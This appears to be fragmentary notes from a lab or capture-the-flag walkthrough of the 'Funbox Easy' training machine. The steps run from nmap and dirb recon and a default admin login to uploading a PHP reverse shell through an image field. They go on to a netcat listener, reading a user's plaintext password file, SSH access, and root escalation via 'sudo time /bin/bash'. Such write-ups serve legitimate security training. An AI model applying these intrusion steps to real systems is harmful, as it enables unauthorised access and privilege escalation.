Funbox Easy

RECON

---

Ip Search
Apache Server

Nmap Scan

nmap 192.168.54.111

Knowing Funbox Rookie not really expecting much from nmap. Dirb will be better

Dirb

 dirb http:// 192.168.54.111 

ENUMURATION

Admin Page

 Name: admin  

 Pass: admin 

Accepts basic admin credentials

Add New Book
Notice the image files

Create New Book
Uploading reverse PHP Shell in images
Shell Exploit
Pentest Monkey Reverse PHP
Configure the Shell
Open up a Netcat listener

nc -lvp 8000   

Find shell
Running drib on the store page it appears to be using bootstrap. Check the img directory

Image Index

Privilege Escalation

Reverse Shell Opening the php lands a reverse shell

User Passwords

 cd home  

 cd tony  

 cat password.txt  

SSH tony

 ssh tony@192.168.54.111  

 Password: yxcvbnmYYY  

 sudo -l  

pkexec, time and mtr can help us escalate to root

Root Escalation

Bin Bash

 sudo time /bin/bash  

Root Flag

  cd root 

Local Flag

 cd var  

 cd www